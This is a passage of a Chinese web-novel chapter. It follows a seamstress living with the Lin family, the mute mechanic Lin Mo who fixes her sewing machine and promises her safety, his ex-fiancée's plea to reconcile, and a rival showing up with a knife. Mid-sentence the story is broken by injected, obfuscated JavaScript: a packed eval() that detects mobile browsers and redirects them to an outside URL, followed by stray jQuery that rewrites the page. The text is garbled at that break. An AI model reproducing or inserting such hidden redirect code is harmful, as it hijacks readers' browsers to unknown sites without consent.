夜深了，林家小屋的灯光却还亮着，晕黄的光晕透过玻璃窗，在寂静的院子里剪出一方温暖的轮廓。屋里，蝴蝶牌缝纫机发出急促而规律的“哒哒”声，像是这夜色里唯一活跃的心跳。
宋晚晚埋首在一堆靛蓝色的劳动布之间，鼻尖萦绕着新布料特有的浆洗气味和淡淡的机油味。手指抚过粗粝却结实的布料，一种久违的亲切感涌上心头。她熟练地划线、裁剪，将布料送入压脚下，脚板匀速踩动踏板，针头便上下跳跃，拉出细密匀称的线迹。这具身体虽然瘦弱，但记忆里的手感却很快找回，她沉浸其中，几乎忘了时间和处境。
门帘被轻轻掀开一条缝，林大娘端着一只粗瓷碗悄声走进来，碗里是卧了两个溏心蛋的挂面，汤面上漂着翠绿的葱花和几点油星。
“晚晚，歇歇手，趁热吃了再干。”她把碗放在桌角，声音压得低低的，怕惊扰了她的专注。
宋晚晚这才从针线活里抬起头，揉了揉有些发涩的眼睛，冲林大娘笑了笑：“谢谢大娘，就差几副了，我做完就吃。”她的声音里带着一丝疲惫，但更多的是一种专注工作后的充实感。
林大娘看着灯光下姑娘专注的侧脸，虽然瘦削，肤色也不够白皙，但那认真的神态和灵巧的手指，越看越让人喜欢。她没再催促，轻手轻脚地退了出去，正好撞见儿子林默从自己屋里出来，像是要去灶房倒水。
林大娘一把拉住儿子的胳膊，把他扯到院子角落，声音压得更低，语气里是抑制不住的兴奋和急切：“默啊，你瞧见没？晚晚这姑娘，真是越看越叫人稀罕！这手脚麻利的，脑子也活泛，这才学多久？这针线活做得比我当年强多了！模样嘛...现在看着是瘦了点，脸色也黄，可那眉眼底子多好！大眼睛，双眼皮，鼻梁也挺，这要是好好养些日子，脸上长了肉，准是个俊俏姑娘！关键是性子沉静，懂事，眼里有活，勤快得叫人心疼！”
她用力拍了一下儿子的胳膊，眼神热切：“这要是以后...以后给你生了胖小子，不知道得多可爱！你小子，别整天跟你那机床似的闷着！主动点儿！多跟人家姑娘近乎近乎，笑一笑！你那哑巴...又不是真哑，比划比划，写写字，还不会？”
林默听着母亲连珠炮似的絮叨，目光下意识地投向那扇透出灯光和细微声响的窗户，眉头几不可察地蹙了一下。他收回目光，对着母亲摇了摇头，抬手比划，手指在昏暗中显得格外清晰：「她很好。但别急。她没那意思。」
他感觉得到，宋晚晚对他只有客气和感激，或许还有一丝因处境而生的谨慎，但绝无半分男女之间的旖旎。她留在这里，更像是一只暂时栖息的倦鸟，并非找到了归巢。他不想也不愿借此机会勉强什么。
林大娘还想再劝，林默却已轻轻挣脱她的手，默默去灶房倒了水，身影很快没入自己的房门后。
第二天下午，缝纫机依旧哒哒作响。连续的高强度使用，这台有些年头的机器终于发出了抗议般的一声卡顿异响，针头死死卡在厚厚的布料叠层里，任凭宋晚晚如何小心转动轮盘，都纹丝不动。
“糟了...”宋晚晚心头一紧，额角急出了细汗。
林默闻声从屋里出来，看到宋晚晚无措地围着缝纫机打转，便走了过来。他示意她让开，自己坐到机子前，俯身仔细查看。他侧耳听了听声音，又用手轻轻拨动几个部件，然后拿出随身的工具包，里面各式各样的改锥、钳子、小扳手闪着冷光。
他动作熟练而轻柔，拆卸、检查、清理，专注的神情如同在厂里检修精密零件。不过片刻，他便找到了症结——一个细小的传动齿磨损导致了卡死。他利落地更换了备用零件，又给几个连接处点了机油，重新组装好。
“好了。”他试了试转动轮盘，顺畅无声，这才抬头对宋晚晚示意，嘴角带着一丝安抚的弧度。
“太谢谢你了，林大哥！真是多亏你了！”宋晚晚长舒一口气，由衷感谢。
林默摇摇头，表示不值一提。他看了看宋晚晚，目光在她眼底淡淡的青黑色上停留了一瞬，似乎犹豫了一下，然后伸手拿过桌角那本用来画纸样的旧笔记本和一支铅笔，低头快速写了几行字。
写完后，他将那页纸撕下，递给宋晚晚，眼神平静温和。
宋晚晚有些疑惑地接过纸条。纸张粗糙，上面的字迹却清晰有力，透着一种沉稳：
「宋晚晚同志：套袖之事辛苦。请安心在此居住，无需有任何顾虑。家母心直口快，所言之事不必挂怀。你我之间，一切但凭你自愿。林默。」
字迹工整，言简意赅，没有任何花哨的辞藻，却像一股温润的泉水，悄然润湿了宋晚晚心中那根紧绷的、防备的弦。她没想到，这个沉默寡言的男人，竟如此敏锐而体贴，用这种最不让她尴尬的方式，给了她一份沉甸甸的尊重和安全的承诺。
她捏着纸条的手指微微收紧，心底翻涌起复杂的感激和一丝愧疚。她抬起头，对上林默平静的目光，脸上没有过分夸张的表情，只是微微颔首，语气平静却真诚：“林大哥，谢谢你。我明白了。”
她没有多说，将纸条仔细折好，收进了口袋。这份心意，她记下了。同时也更加坚定了之前的想法：必须尽快自立，不能长久地依赖这份善意，更不能耽误人家。
五十副套袖如期交付。刘师傅验收时啧啧称奇，夸这手艺比国营劳保店的老师傅都不差。工钱结得很快，下班后，林默将一个折得方正的小纸包递给宋晚晚。里面是十元钱和几张珍贵的布票、工业券。
宋晚晚接过这靠自己双手挣来的第一笔钱，指尖能感受到纸币的质感，心里涌上一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448855|185228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
股踏实而滚烫的暖流。这是她在这个陌生时代立足的第一步。
然而，套袖做得太好，也在机械厂里引起了小小的议论。第二天午休，几个相熟的工友就围住了林默。
“行啊林默！真没看出来，你小子不声不响，找了个这么手巧的媳妇？”
“就是！那套袖做得，针脚密实，边角处理得那叫一个利落！比咱们厂发的那剌脖子的强多了！”
“啥时候把弟妹带出来给兄弟们认识认识？老藏着算怎么回事？”
“听说还是山里来的姑娘？哎呦，林默你这可是捡到宝了！”
工友们嘻嘻哈哈地打趣，语气里多是善意的羡慕和好奇。林默被围在中间，有些无奈地笑着，连连摆手，试图用手势解释那只是家里暂住的远亲，并非未婚妻。
正当车间里一片哄闹时，一个穿着浅绿色连衣裙的身影出现在门口，是苏丽娜。她似乎精心打扮过，但脸色并不好，眼神直直地穿过人群，落在林默身上。
热闹的气氛瞬间冷却了些，工友们互相使着眼色，默契地散开了些。
苏丽娜一步步走到林默面前，声音带着一种孤注一掷的决绝和不易察觉的颤抖：“林默哥，我跟王家退婚了。五千块彩礼，我一分不少都退回去了。”她深吸一口气，仿佛用尽了全身力气，眼睛紧紧盯着他，“我知道我以前糊涂，是我错了。我现在什么都不要，我只想...只想和你重新开始。你能...能再给我一次机会吗？”
林默脸上的浅笑彻底消失了。他看着苏丽娜，眼神里没有波澜，也没有任何回应。他沉默地推起靠在墙边的自行车，绕开她，径直朝着厂门口骑去，背影决绝。
苏丽娜僵在原地，看着他毫不留恋地远去，脸上的血色一点点褪尽，指甲深深掐进掌心，留下几个弯月形的白痕。
林默骑着车，穿行在厂区布满林荫的道路上，心里有些烦乱。他只想避开这些是是非非，过简单平静的日子。
然而，他远远就瞧见自家院门口围了几个人，隐约传来吵闹声。蹬近了些，看清情形，他心头猛地一沉！
只见厂长儿子王东，穿着花里胡哨的衬衫喇叭裤，正脸红脖子粗地用力拍打着林家院门，嘴里不干不净地骂着不堪入耳的脏话。最骇人的是，他手里竟然明晃晃地攥着一把水果刀，在午后的阳光下反射出刺眼的寒光！
“林默！你个死哑巴！给老子滚出来！敢他妈撬老子的女人！活腻歪了是吧？今天老子不给你放点血，我王字倒着写！”他显然是听说了苏丽娜退婚并去找林默的事，认定了是林默背后搞鬼，怒火攻心之下直接持刀上门寻仇。
周围几个邻居远远看着，不敢上前，脸上都带着惊惧。
林默脸色瞬间冷峻，脚下猛地加速，自行车嗖地冲了过去。